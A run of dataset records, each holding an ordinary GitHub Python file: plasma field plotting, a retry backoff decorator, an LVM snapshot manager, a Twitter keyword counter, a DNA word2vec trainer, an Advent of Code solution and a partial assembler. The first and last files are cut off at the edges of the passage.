epot.coords['x'].values[-1],\n                epot.coords['y'].values[0],epot.coords['y'].values[-1])\n        return Energy\n\n    def plot_electric_energy():\n        '''\n        Plot potential energy.\n        '''\n\n        Energy = compute_electric_energy()\n        Emaxval = []\n        tm = []\n        for k in range(5,len(Energy)-2):\n            if((Energy[k+1]-Energy[k-1])/Energy[k]< 0.05 and\n                (Energy[k]-Energy[k-2])/Energy[k]> 0.1 and (Energy[k]-Energy[k+2])/Energy[k]>0.1):\n                Emaxval.append(Energy[k])\n                tm.append(epot.coords['time'].values[k])\n\n        Emax = np.array(Emaxval)\n        tm = np.array(tm)\n        if Emax.size>0:\n            res = stats.linregress(tm,np.log(np.sqrt(Emax)))\n            print(f'relative error on growth rate {(theo_rate-res[0]) /abs(res[0]):0.2f}')\n        plt.clf()\n        plt.plot(epot.coords['time'].values,np.log(np.sqrt(Energy)))\n        plt.scatter(tm ,np.log(np.sqrt(Emax)),c='red')\n        if Emax.size>0:\n            plt.plot(tm ,tm*res[0]+res[1]  ,c='green')\n            plt.title(f'growthrate: {res[0]:0.3f} (theory: {theo_rate:0.3f})', fontsize=16)\n        plt.ylabel('Electric energy', fontsize=12)\n        plt.xlabel('time', fontsize=12)\n        plt.savefig('Electric_energy.png')\n\n    def plot_fdist(itime,Vx,Vy):\n        '''\n        Plot the initial distribution function in (X,Y) fo a fixed (Vx, Vy) velocity position.\n        '''\n\n        plt.clf()\n        fig = plt.figure()\n        ax = fig.add_subplot()# 111,projection='3d')\n        im = ax.imshow(fdistribu[itime,0,:,:,Vx,Vy] )\n        fig.colorbar(im)\n        plt.title('initial distribution function at Vx='+str(Vx)+' Vy='+str(Vy))\n        plt.savefig('test_fdistribution.png')\n\n    if (not(args.gif)):\n        plot_electric_potential(args.itime)\n        plot_electric_field(args.itime)\n        plot_electric_energy_density_field(args.itime)\n        plot_electric_energy()\n        plot_fdist(args.itime,31,31)\n\n    else:\n        min_efield = min([np.min(Ex),np.min(Ey)]).compute()\n        max_efield = max([np.max(Ex),np.max(Ey)]).compute()\n        min_epot = np.min(epot).compute()\n        max_epot = np.max(epot).compute()\n        min_energy_den = np.min(np.power(Ex,2)+np.power(Ey,2)).compute()\n        max_energy_den = np.max(np.power(Ex,2)+np.power(Ey,2)).compute()\n\n        images = []\n        for itime in range(Timer):\n            plot_field2d(epot[itime-1,:,:].T , '', os.path.join(Path.cwd(), 'temp.png'), vmin=min_epot, vmax=max_epot, cmap='jet', scale='linear')\n            images.append(imageio.imread(os.path.join(Path.cwd(), 'temp.png')))\n        imageio.mimsave('electric_potential.gif', images)\n\n        images = []\n        for itime in range(Timer):\n            plot_field2d(Ex[itime-1,:,:].T , '', os.path.join(Path.cwd(), 'temp.png'), vmin=min_efield, vmax=max_efield, cmap='jet', scale='linear')\n            images.append(imageio.imread(os.path.join(Path.cwd(), 'temp.png')))\n        imageio.mimsave('electric_field_x.gif', images)\n\n        images = []\n        for itime in range(Timer):\n            plot_field2d(Ey[itime-1,:,:].T , '', os.path.join(Path.cwd(), 'temp.png'), vmin=min_efield, vmax=max_efield, cmap='jet', scale='linear')\n            images.append(imageio.imread(os.path.join(Path.cwd(), 'temp.png')))\n        imageio.mimsave('electric_field_y.gif', images)\n\n        images = []\n        for itime in range(Timer):\n            z = np.power(Ex[itime-1,:,:],2)+np.power(Ey[itime-1,:,:],2)\n            plot_field2d(z, '', os.path.join(Path.cwd(), 'temp.png'), vmin=min_energy_den, vmax=max_energy_den, cmap='jet', scale='linear')\n            images.append(imageio.imread(os.path.join(Path.cwd(), 'temp.png')))\n        imageio.mimsave('electric_energy_density_field.gif', images)\n","repo_name":"gyselax/gyselalibxx","sub_path":"post-process/PythonScripts/geometryXYVxVy/plot_electric_field.py","file_name":"plot_electric_field.py","file_ext":"py","file_size_in_byte":7786,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"22"}
+{"seq_id":"20645903731","text":"import logging\nimport time\nfrom functools import wraps\nfrom typing import Any, Callable\n\nlogger = logging.getLogger()\n\n\ndef backoff(\n        exceptions: tuple,\n        start_sleep_time: float = 0.1,\n        factor: int = 2,\n        border_sleep_time: int = 10,\n        log: logging = logger\n) -> Callable[..., Any]:\n    \"\"\"\n    Функция для повторного выполнения функции через некоторое время,\n    если возникла ошибка. Использует наивный экспоненциальный рост\n    времени повтора (factor) до граничного времени ожидания\n    (border_sleep_time)\n\n    Формула:\n        t = start_sleep_time * 2^(n) if t < border_sleep_time\n        t = border_sleep_time if t >= border_sleep_time\n    :param exceptions: перехватываемые исключения\n    :param start_sleep_time: начальное время повтора\n    :param factor: во сколько раз нужно увеличить время ожидания\n    :param border_sleep_time: граничное время ожидания\n    :param log: объект логгирования\n    :return: результат выполнения функции\n    \"\"\"\n\n    def func_wrapper(func):\n        @wraps(func)\n        def inner(*args, **kwargs):\n            t = start_sleep_time\n            while True:\n                try:\n                    return func(*args, **kwargs)\n                except exceptions as err:\n                    log.exception(err)\n                    t = t * factor\n                    if t > border_sleep_time:\n                        t = border_sleep_time\n                    time.sleep(t)\n\n        return inner\n\n    return func_wrapper\n","repo_name":"Oorzhakau/new_admin_panel_sprint_3","sub_path":"etl/utils/backoff.py","file_name":"backoff.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8201307291","text":"import sys\nfrom pylab import *\nimport matplotlib.patches as mpatches\n\nfilename = \"Software_HighestResolution_AverageResolution.csv\"\n\n# Data Reading and Checking \nlines = open(filename, \"r\").readlines();\nX = [line.strip().split(\",\")[0] for line in lines]\nhighest = [line.strip().split(\",\")[1] for line in lines]\naverage = [line.strip().split(\",\")[3] for line in lines]\nX.pop(0)\nhighest.pop(0)\naverage.pop(0)\n\nhighest = [float(y) for y in highest]\naverage = [float(y) for y in average]\n\nwidth = 0.3\nhighestPos = [x + width / 2 for x in range(len(X))]\naveragePos = [x + width / 2 * 3 for x in range(len(X))]\n\nfigure(figsize = (10, 5), dpi = 80)\n\nbar(highestPos, highest, width, color = \"red\", alpha = 0.5)\nbar(averagePos, average, width, color = \"blue\", alpha = 0.5)\n\nfor i in range(len(X)):\n    text(highestPos[i] - 0.03, highest[i] + 0.3, \"%2.1f\"%highest[i])\n    text(averagePos[i] - 0.03, average[i] + 0.3, \"%2.1f\"%average[i])\n\nxticks(averagePos, X)\nylabel(r\"Resolution $\\AA$\")\n\nred_patch = mpatches.Patch(color = \"red\", label = \"Highest Resolution\", alpha =\n        0.5)\nblue_patch = mpatches.Patch(color = \"blue\", label = \"Average Resolution\", alpha\n        = 0.5)\n\nlegend(handles = [red_patch, blue_patch])\n\nsavefig(\"Software_Resolution.png\", dpi = 200)\nshow()\n","repo_name":"Zarrathustra/Script","sub_path":"Plot_Scripts/Software_Resolution_Plot.py","file_name":"Software_Resolution_Plot.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36904056606","text":"from os.path import islink\nimport subprocess\nimport mysql_backup.mysql_backup\n\n\nclass LvSnapshot:\n    \"\"\"Class to manage lv snapshots\"\"\"\n\n    backup_logger = None\n\n    def __init__(self, vg, lv, snapshot_name, size_gb):\n        \"\"\"provide vg,lv, snapshot_name, and size_mb (snapshot allocation size) to this constructor\"\"\"\n\n        self.vg = vg\n        self.lv = lv\n        self.snapshot_name = snapshot_name\n        self.size_gb = size_gb\n        LvSnapshot.backup_logger = mysql_backup.mysql_backup.MysqlBackup.backup_logger\n\n    def __str__(self):\n        return \"/\" + self.vg + \"/\" + self.lv + \"/\" + self.snapshot_name + \" snapshot instance\"\n\n    def get_snapshot_status(self, is_mounted=False):\n        \"\"\"return: Bool\n        Whether or not a snapshot already exists.  If is_mounted is True\n        will return True only when the snapshot exists and is mounted.\"\"\"\n        if not is_mounted:\n            return islink('/dev/'+self.vg+'/'+self.snapshot_name)\n        elif islink('/dev/'+self.vg+'/'+self.snapshot_name):\n            cmd = ['/sbin/lvdisplay', '-c', '/dev/'+self.vg+'/'+self.snapshot_name,]\n            output = int(subprocess.check_output(cmd, close_fds=True).split(':')[5])\n            if output:\n                return True\n            else:\n                return False\n        else:\n            return False\n\n    def ensure_snapshot_exists(self):\n        \"\"\"return: void\n        Ensures a snapshot exists or raises an IOError\"\"\"\n\n        if not self.get_snapshot_status():\n\n            cmd = ['/sbin/lvcreate', '--snapshot', '-L', str(self.size_gb)+'G', '--name', self.snapshot_name,\n                   '/dev/'+self.vg+'/'+self.lv]\n\n            LvSnapshot.backup_logger.info(\"Snapshot does not exist.  Attempting the following command:\\n \" + \" \".join(cmd),\n                         extra={'object': self})\n\n            lv_snap = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)\n            lv_snap.wait()\n\n            if not self.get_snapshot_status():\n                raise IOError(\"Failed to create snapshot named %s at /dev/%s/%s of size %d\" %\n                              (self.snapshot_name, self.vg, self.lv, self.size_gb))\n\n    def delete_snapshot(self):\n        \"\"\"Remove a snapshot.  Will raise IOError on failure.\"\"\"\n\n        if self.get_snapshot_status(is_mounted=True):\n            raise IOError(\"Failed to delete snapshot.  Snapshot is currently mounted.\")\n\n        if self.get_snapshot_status():\n\n            cmd = ['/sbin/lvremove', '-f', '/dev/'+self.vg+'/'+self.snapshot_name]\n\n            LvSnapshot.backup_logger.info(\"Removing snapshot with the following command: \\n\" + ' '.join(cmd), extra={'object': self})\n\n            lv_snap = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)\n            lv_snap.wait()\n\n            if self.get_snapshot_status():\n                msg = \"Failed to delete the snapshot.\"\n                LvSnapshot.backup_logger.error(msg, extra={'object': self})\n                raise IOError(msg)\n\n        else:\n            msg = \"Failed to delete snapshot.  Snapshot does not exist.\"\n            LvSnapshot.backup_logger.error(msg, extra={'object': self})\n            raise IOError(msg)\n\n    def safe_refresh_snapshot(self):\n        \"\"\"If the snapshot is not mounted, delete it and recreate it\"\"\"\n\n        LvSnapshot.backup_logger.info(\"Begin refreshing snapshot at /dev/%s/%s\" % (self.vg, self.snapshot_name),\n                                      extra={'object': self})\n\n        if not self.get_snapshot_status(is_mounted=True):\n\n            LvSnapshot.backup_logger.debug(\"Snapshot is not mounted.\", extra={'object': self})\n\n            if self.get_snapshot_status():\n                LvSnapshot.backup_logger.debug(\"Snapshot exists.  Deleting it.\", extra={'object': self})\n                self.delete_snapshot()\n            else:\n                LvSnapshot.backup_logger.debug(\"Snapshot did not exist.  Nothing to delete.\", extra={'object': self})\n\n                LvSnapshot.backup_logger.info(\"Snapshot now removed if it was there.  Ensuring one exists.\", extra={'object': self})\n\n            self.ensure_snapshot_exists()\n\n        else:\n            LvSnapshot.backup_logger.info(\"Snapshot was mounted, not refreshing it.\", extra={'object': self})\n\n        if not self.get_snapshot_status():\n            msg = \"Snapshot still does not exist.  Something went bad.\"\n            LvSnapshot.backup_logger.error(msg, extra={'object': self})\n            raise IOError(msg)\n        else:\n            msg = \"Snapshot verified to exist.\"\n            LvSnapshot.backup_logger.info(msg, extra={'object': self})\n","repo_name":"dmatthewsbnd251/mysql-backup","sub_path":"lv_snapshot/lv_snapshot.py","file_name":"lv_snapshot.py","file_ext":"py","file_size_in_byte":4647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22862189358","text":"# 必要なモジュールのimport\nimport pandas as pd\nimport tweepy\n# 各種ツイッターのキーをセット\n# 各種ツイッターのキーをセット　consumer_key, consumer_secret, access_key, access_secret\nconsumer_key = \"\"\nconsumer_secret = \"\"\naccess_key = \"\"\naccess_secret = \"\"\n# 認証のためのAPIキーをセット\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_key, access_secret)\napi = tweepy.API(auth, wait_on_rate_limit=True)  # API利用制限にかかった場合、解除まで待機する\n\n\ndef main():\n    '''\n        メインの実行部分\n        '''\n\n    # 調べる言語のリストの用意\n    languages = [\"JavaScript\", \"Python\", \"TypeScript\", \"Java\", \"C++\", \"Go\",\n                 \"Rust\", \"C\", \"Shell\", \"Vue\", \"Dart\", \"CSS\", \"C#\", \"PHP\",\n                 \"Clojure\", \"Assembly\", \"Ruby\"]\n    like = []\n    # for文を使ってリストに入っている言語ごとにデータを取得していく 取得するデータは今日から過去7日以内\n    for language in languages:\n        tweet_data = get_search_tw(language, '2021-03-20_00:00:00_JST',\n                                   '2021-03-21_00:00:00_JST', 1, 50)\n        # 取得したデータからデータフレームを作成\n        df = make_df(tweet_data)\n        # いいね数の総和を求めてリストに追加\n        like.append(df['いいね数'].sum())\n        # 言語ごとのいいね数を出力する\n        print(f'{language}の合計いいね数は{df[\"いいね数\"].sum()}')\n        # 言語名といいね数の情報からデータフレームを作成する\n    df = pd.DataFrame({'言語': languages, 'いいね数': like})\n    # いいね数の多い順にデータを並べ変える\n    print('結果')\n    print(df.sort_values(by='いいね数', ascending=False))\n    # 期間を指定して、ツイートを収集する関数\n\n\ndef get_search_tw(search, since, until, recount, count):\n    '''\n        今日から過去7日間の期間を指定して、ツイートを収集する関数\n        ツイートのデータをapi.searchを使って収集\n        '''\n\n    # 検索キーワード。 リツイートは除く\n    searchkey = search + '-filter:retweets'\n    # ツイート取得\n    # APIのtweepy.Cursorのキーワードサーチ(api.search)を使う\n    tweets = tweepy.Cursor(api.search, q=searchkey, since=since,\n                           until=until, tweet_mode=\"extended\", lang='ja'\n                           ).items(count)\n    # ツイートデータを入れる空のリストを用意\n    tweet_data = []\n    # いいねとリツイートの合計がrecuont以上なら次からの処理をする\n    for tweet in tweets:\n        if tweet.retweet_count + tweet.favorite_count >= recount:\n            tweet_data.append([search, tweet.favorite_count])\n    return tweet_data\n\n\n'''\n    ツイートデータを番号と共に出力\n    '''\n\n\ndef make_df(tweet_data):\n    '''\n        ツイートのデータからデータフレームを作成\n        '''\n\n    # 各ツイートデータを入れるための空のリストを用意\n    list_language = []\n    list_favorite = []\n    i = 0\n    # ツイートの各アイテムを入れるリストを作成\n    for i in range(len(tweet_data)):\n        list_language.append(tweet_data[i][0])\n        list_favorite.append(tweet_data[i][1])\n        i += 1\n    # 上で作成したリストからツイートを入れるデータフレームの作成\n    df = pd.DataFrame({'言語': list_language, 'いいね数': list_favorite})\n    return df\n\n\n# 実行部分\nif __name__ == '__main__':\n    main()\n","repo_name":"Sebun-Takahashi/Python-training","sub_path":"language-rank/tweetkeaworddate-copy.py","file_name":"tweetkeaworddate-copy.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31591868811","text":"#pip install speedtest-cli\nimport speedtest as sp\nimport sys\n\ntest = sp.Speedtest()\n\ndown = test.download()\nrsDown = round(down)\nfDown = int(rsDown/1e+6)\n\nupload = test.upload()\nrsUp = round(upload)\nfUp=int(rsUp/1e+6)\n\nprint(f\"Down:{fDown} mb/Up:{fUp} mb\")\n\n","repo_name":"vaesanti/scripts","sub_path":"veloz.py","file_name":"veloz.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41412023159","text":"import numpy as np\nfrom collections import defaultdict\nfrom pathlib import Path\n\nDIRECTIONS = {'e' : np.array([1,0]) , 'se':np.array([0,1]), 'sw':np.array([-1,1]),\n 'w':np.array([-1,0]), 'nw':np.array([0,-1]), 'ne':np.array([1,-1])}\n\ndef get_starting_black_tiles(tot_commands):\n    tiles = defaultdict(int)\n    for command in tot_commands:\n        current_pos = np.array([0,0])\n        for direction in command:\n            current_pos += DIRECTIONS[direction]\n        tiles[tuple(current_pos)] += 1\n    return set([key for key,val in tiles.items() if val % 2])\n\ndef neighbors(tile):\n    for direction in DIRECTIONS.values():\n        yield tuple(tile + direction)\n\ndef get_num_of_neighbors(tile, tiles):\n    return len([neighbor for neighbor in neighbors(tile) if tuple(neighbor) in tiles])\n\ndef part2_iteration(tiles):\n    new_tiles = set()\n    for tile in tiles:\n        num_neighbors = get_num_of_neighbors(tile,tiles)\n        if 0 < num_neighbors <= 2:\n            new_tiles.add(tile)\n        for neighbor in neighbors(tile):\n            if tuple(neighbor) not in tiles and get_num_of_neighbors(neighbor,tiles) == 2:\n                new_tiles.add(neighbor)\n    return new_tiles\n\ndef parse_input(inp):\n    total_commands = []\n    for line in inp.splitlines():\n        commands = []\n        tmp = ''\n        for char in line:\n            tmp += char\n            if tmp in DIRECTIONS:\n                commands.append(tmp)\n                tmp = ''\n        total_commands.append(commands)\n    return total_commands\n\ndef run_test():\n    inp = 'nwwswee'\n    tot_commands = parse_input(inp)\n    get_starting_black_tiles(tot_commands) == [(0,0)]\n    with open(Path(\"2020\") / \"day24\" / \"day24_test.txt\") as f:\n        inp = f.read()\n    tot_commands = parse_input(inp)\n    tiles = get_starting_black_tiles(tot_commands)\n    assert len(tiles) == 10\n    assert len(part2_iteration(tiles)) == 15\nrun_test()\n\nwith open(Path(\"2020\") / \"day24\" / \"day24_input.txt\") as f:\n    inp = f.read()\nblack_tiles = get_starting_black_tiles(parse_input(inp))\nprint(f\"Answer part 1 {len(black_tiles)}\")\n\nfor _ in range(100):\n    black_tiles = part2_iteration(black_tiles)\n\nprint(f'Answer part 2 {len(black_tiles)}')\n","repo_name":"GandolfHobbitlord/adventofcode","sub_path":"2020/day24/day24.py","file_name":"day24.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12887908679","text":"import re\nfrom torch import nn\nimport itertools as it\nimport torch\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport numpy as np\nimport logging\nimport time\nimport pandas as pd\n\n\n# Begin read file\ndevice = torch.device('cuda:0')\n\ndef read_input():\n    file_dir = r'methylation/train.csv'\n    training_df = pd.read_csv(file_dir)\n    training_seq = training_df['seq'].values.tolist()\n    training_datasize = len(training_seq)  # count how many sequence\n    for i in range(0, training_datasize):  # cut a whole sequence in to words\n        if 'N' in training_seq[i]:\n            training_seq[i] = training_seq[i].replace('N','')\n        training_seq[i] = re.findall(r'\\w{5}', str(training_seq[i]))\n    return training_seq\n\n# define a dictionary\nclass Separate:\n    def __init__(self, kmer_number):\n        self.kmer = kmer_number\n\n    def build_dict(self):\n        alfa = ['A', 'G', 'C', 'T']\n        keywords = list(it.product(alfa, repeat=self.kmer))  # generate all the possibility words\n        keywords = sorted(keywords)\n        s = ''\n        all_possibility = []\n        for i in range(len(keywords)):\n            all_possibility.append(s.join(keywords[i]))  # form a list to store all words\n        #print(all_possibility)\n        vocab, index = {}, 1  # define dictionary\n        vocab['<pad>'] = 0  # the first word is <pad>\n        vocab_size = len(all_possibility)  # define the size of the dictionary\n        for kmer in all_possibility:\n            vocab[kmer] = index  # assign value to dictionary\n            index += 1\n        inverse_vocab = {index: kemer for kemer, index in vocab.items()}  # define a inverse_dictionary\n        #print(inverse_vocab)\n        return vocab, inverse_vocab, vocab_size\n\n\n# define center words and context words\nclass def_context():\n    def __init__(self,sentence,window):\n        self.sentence = sentence  # read a sentence\n        self.window = window      # define a window size\n\n    def extract_word(self):\n        count = 0                 # for reduce the size of dataset\n        self.context = []         # pre-define the context\n        self.label = []           # pre-define the center word\n        for sentence in self.sentence:  # read a sentence\n            #print('Runing', sentence)\n            count += 1\n            if count > 50000:\n                print('The dataset is too large.')\n                break\n            for idx, word in enumerate(sentence):  # read each word\n                # if idx >= self.window and idx <= len(sentence)-self.window-1:\n                self.label.append([sentence[idx]])  # This is the center word, aka, each word of a sentence\n                small = []\n                index = list(range(max(0, idx - self.window), min(len(sentence), idx + 1 + self.window))) # Context idx range\n                index.remove(idx)  # context remove the center word\n                if idx - self.window < 0:\n                    for m in range(abs(idx - self.window)):\n                        small.append('<pad>')\n                    small_DNA=[sentence[i] for i in index]\n                    #print('D', small_DNA[0])\n                    for kk in range(len(small_DNA)):\n                        small.append(small_DNA[kk])\n                    self.context.append(small)\n\n                if idx + 1 + self.window-len(sentence) > 0:\n                    small_DNA=[sentence[i] for i in index]\n                    #print('D', small_DNA[0])\n                    for kk in range(len(small_DNA)):\n                        small.append(small_DNA[kk])\n                    for m in range(abs(idx + 1 + self.window-len(sentence))):\n                        small.append('<pad>')\n                    self.context.append(small)\n\n                if idx - self.window >= 0 and idx + 1 + self.window-len(sentence) <= 0:\n                    self.context.append([sentence[i] for i in index])  # store the context in a list\n                # self.context.append([sentence[i] for i in range(idx-self.window, min(idx+self.window+1)) if i !=idx])\n\n        #print(\"Context :\", self.context , \"Target :\", self.label)\n        #print(\"Target :\", self.label)\n        return self.context, self.label\n\n\n# Construct a data loader\nclass dataloader():\n    def __init__(self, vocab, context, label, vocab_size):\n        self.vocab = vocab      # load the dictionary\n        self.context = context  # load the context\n        self.label = label      # load the center word (label)\n        self.vocab_size = vocab_size # load the size of words\n\n    def __len__(self):\n        return len(self.context)  # return the size of a batch data\n\n    def __getitem__(self, idx):  # for each batch\n        self.onehot = np.zeros(self.vocab_size+1, dtype=np.float32)  # using one-hot encoding to encode label\n        context = [self.vocab[word] for word in self.context[idx]]  # using dictionary to find the context words\n        label = [self.vocab[word] for word in self.label[idx]]  # using dictionary to find the center word\n        id = self.vocab[self.label[idx][0]]  # for each batch, find the center word\n        self.onehot[int(str(id))] = 1  # set the one-hot to 1\n        #context = context + [0]*(4 - len(context))  # if the size of context word is less than 4,using 0 to fill\n        return np.array(context, dtype=np.int), self.onehot\n\n\n# network structure#snp\nclass Word2Vec(nn.Module):\n    def __init__(self, vocab_size, embedding_dim, context_size):\n        super(Word2Vec, self).__init__()\n        vocab_size += 1  # first word <pad>\n        self.embeddings = nn.Embedding(vocab_size, embedding_dim)  # Embedding layer\n        self.linear1 = nn.Linear(context_size * embedding_dim, 1024)  # 1 hidden layer\n        self.linear2 = nn.Linear(1024, vocab_size)  # output layer Cbow\n\n    def forward(self, inputs):\n        embeds = self.embeddings(inputs).view(len(inputs), -1)\n        out = F.relu(self.linear1(embeds))\n        out = self.linear2(out)\n        log_probs = F.log_softmax(out, dim=1)\n        return (log_probs)\n\ndef run_code_for_training(net, epochs):\n    loss_tally = []\n    net = net.to(device)\n    criterion = torch.nn.NLLLoss()\n    optimizer = torch.optim.Adam(net.parameters(), lr=1e-4)\n    start_time = time.perf_counter()\n    for epoch in range(epochs):\n        running_loss = 0.0\n        for i, data in enumerate(train_data_loader):\n            inputs, labels = data\n            inputs = inputs.to(device)\n            labels = labels.to(device)\n            optimizer.zero_grad()\n            outputs = net(inputs)\n            loss = criterion(outputs, torch.max(labels, 1)[1])\n            loss.backward()\n            optimizer.step()\n            running_loss += loss.item()\n            if (i + 1) % 500 == 0:\n                current_time = time.perf_counter()\n                elapsed_time = current_time - start_time\n                print(\"\\n[epoch:%d, batch:%5d, elapsed_time=%5d secs] loss: %.3f\" %\n                      (epoch + 1, i + 1, elapsed_time, running_loss / float(500)))\n                loss_tally.append(running_loss / float(500))\n                running_loss = 0.0\n    torch.save(net.state_dict(), 'net_word2vec.pth') #origin net1\n    return loss_tally\n\n\nif __name__ == '__main__':\n    print(torch.__version__)\n    print(torch.cuda.is_available())\n    kmer_number = 5\n    data = read_input()\n    cut = Separate(kmer_number)\n    dicts, inverse_vocab, vocab_size = cut.build_dict()\n    context_length = 8\n    test = def_context(data, context_length)\n    context, label = test.extract_word()\n    print(len(context))\n    print(\"Data size\", len(label))\n\n    train_dataset = dataloader(dicts, context, label, vocab_size)\n    train_data_loader = torch.utils.data.DataLoader(dataset = train_dataset,\n                                                    batch_size=500,\n                                                    shuffle=True,\n                                                    num_workers=0)\n\n    model_1 = Word2Vec(vocab_size, 768, 2*context_length)  # model (how many words, embedding size, window size)\n    loss_1 = run_code_for_training(model_1, 10)  # training\n\n","repo_name":"lu876/BERT-methylation","sub_path":"word2vec.py","file_name":"word2vec.py","file_ext":"py","file_size_in_byte":8134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3393360080","text":"import urllib.request as request\nimport json\nsrc=\"https://padax.github.io/taipei-day-trip-resources/taipei-attractions-assignment.json\"\nwith request.urlopen(src) as response:\n    data=json.load(response)\nclist=data[\"result\"][\"results\"]\nwith open (\"data.csv\",\"w\",encoding=\"utf-8\")as file:\n    for att in clist:\n        attfile=att[\"file\"]\n        attfile_split=attfile.split(\"https\")\n        addr=att[\"address\"][5:8]\n        attfile1=attfile_split\n        file.write(att[\"stitle\"]+\",\"+addr+\",\"+att[\"longitude\"]+\",\"+att[\"latitude\"]+\",\"+\"https\"+attfile1[1]+\"\\n\")\n            \n    ","repo_name":"pingdori/wehelp-assignments","sub_path":"week3/week-3.py","file_name":"week-3.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35882789945","text":"\nclass literal:\n    def __init__(self,lit,address):\n        self.lit=lit\n        self.address=address\n        self.used=False\n\nclass symbol:\n    def __init__(self,sym,address):\n        self.sym=sym\n        self.address=address\n\nclass instruction:\n    def __init__(self,name,type,machinecode,weight):\n        self.name=name\n        self.weight=weight\n        self.machineCode=machinecode\n        self.type=type\n\nclass inputInstruction(instruction):\n    register=\"\"\n    memory=\"\"\n    locationCounter=0\n    optab = open(\"optab.txt\", 'r')\n    global instructionList\n    def __init__(self,name,register,memory,locationCounter):\n        self.name=name\n        self.register=register\n        self.memory=memory\n        self.locationCounter=locationCounter\n\n        #instruction parameters\n        for _instruction in instructionList:\n            if _instruction.name==self.name:\n                self.type=_instruction.type\n                self.weight=_instruction.weight\n                self.machineCode=_instruction.machineCode\n\n\ndef loadTableOptab(instructionList):\n    optabInstructionList=[]\n    for _instruction in instructionList:\n        myInstr=instruction(_instruction[0],_instruction[1],_instruction[2][0],_instruction[2][1])\n        optabInstructionList.append(myInstr)\n    return optabInstructionList\n\ndef parseInstructions(optab):       #optab in readbale form\n    instructionList=[]\n    for line in optab:\n        instruction=line.split()\n        if len(instruction)>2:\n            instruction[2]=instruction[2].strip('(')\n            instruction[2] = instruction[2].strip(')')\n            instruction[2]=instruction[2].split(',')\n        instructionList.append(instruction)\n    return (instructionList)\n\ndef getIndexOfOpcode(ele):          #index of opcode from instruction\n    global instructionList\n    for _instruction in instructionList:\n        for i in range(len(ele)):\n            if ele[i]==_instruction.name:\n                return i\n    return -1\n\ndef getInstructionType(opcode):\n    global instructionList\n    for _instruction in instructionList:\n        if _instruction.name==opcode:\n            return _instruction.type\n    return \"\"\n\ndef getRegister(ele,index):\n    type=getInstructionType(ele[index])\n\n    if type==\"IS\":\n        return ele[1]\n    return \"\"\n\ndef getMemory(ele,index):\n    type=getInstructionType(ele[index])\n    if type==\"IS\":\n        return ele[2]\n    elif type==\"AD\":\n        if ele[index]==\"LTORG\":\n            return \"\"\n        return ele[index+1]\n\n\n\ndef loadTableInput(inputInstructionsTable):\n    inputInstructionClass=[]\n    for ele in inputInstructionsTable:\n        name=\"\"\n        register=\"\"\n        memory=\"\"\n        index=getIndexOfOpcode(ele)\n        name=ele[index]\n        register=getRegister(ele,index)\n        memory=getMemory(ele,index)\n\ndef getWeight(opcode):\n    global instructionList\n\n    if opcode==\"END\":\n        return '1'\n    for ele in instructionList:\n        if ele.name==opcode:\n            return ele.weight\n\ndef classUp(inputInstructionsTable):\n    global locationCounter\n    global literalTable\n    global symbolTable\n\n    increment=0\n    inputInstructionClassList=[]\n    currentLiterals=[]      #only literal values\n    previnst=''\n\n    for row in inputInstructionsTable:\n        opcode=getIndexOfOpcode(row)\n        opcode=row[opcode]\n        type=getInstructionType(opcode)\n\n        if type=='IS':\n            increment+=1\n            try:\n                register=row[1]\n            except:\n                register=\"\"\n\n            try:\n                memory=row[2]\n            except:\n                memory=\"\"\n\n            try:\n                if memory[0][0]=='=':\n                    currentLiterals.append(memory[0])\n            except:\n                pass\n\n        elif type=='AD':\n            if opcode=='LTORG' or opcode=='END':\n                #push literals\n                for lit in currentLiterals:\n                    literalTable.append(literal(lit,locationCounter))\n                    locationCounter+=1\n                currentLiterals=[]\n            register=\"\"\n            try:\n                memory=row[1]\n            except:\n                memory=\"\"\n\n        elif type=='DL':\n            if opcode=='DC':\n                symbolTable.append(symbol(row[0],locationCounter))\n                locationCounter+=1\n            elif opcode=='DS':\n                symbolTable.append(symbol(row[0], locationCounter))\n                locationCounter+=int(row[2][0])\n            register=row[0]\n            memory=row[2]\n\n        if opcode=='START':\n            inputInstructionClassList.append(inputInstruction(opcode, register.strip(','), memory, locationCounter))\n            locationCounter=int(memory)\n        else:\n            inputInstructionClassList.append(inputInstruction(opcode,register.strip(','),memory,locationCounter))\n            locationCounter+=increment\n        increment=0\n\n    return inputInstructionClassList\n\ndef getRegisterindex(reg):\n    global registerList\n    #print(\"reglist=\",reg)\n    for i in range(len(registerList)):\n        if reg==registerList[i]:\n            return i+1\n    return 0\n\ndef getMemoryType(instruction):\n    memory=instruction.memory\n    if len(memory)==0:\n        return ''\n    memory=memory[0]\n    if('=' in memory):\n        return 'L'\n    elif instruction.type=='DL' or memory.isdigit():\n        return 'C'\n    elif len(memory)!=0:\n        return 'S'\n\ndef fourthCol(instruction,memorytype):\n    global literalTable\n    global symbolTable\n    if memorytype=='C':\n        temp= instruction.memory#[0].strip('(')\n        if type(temp) is not str:\n            temp=temp[0].strip('(')\n            temp=temp.strip(')')\n        temp.strip(')')\n        return temp\n    if memorytype=='L':\n        #print(\"memory= \", instruction.memory[0])\n        index=0\n        for lit in 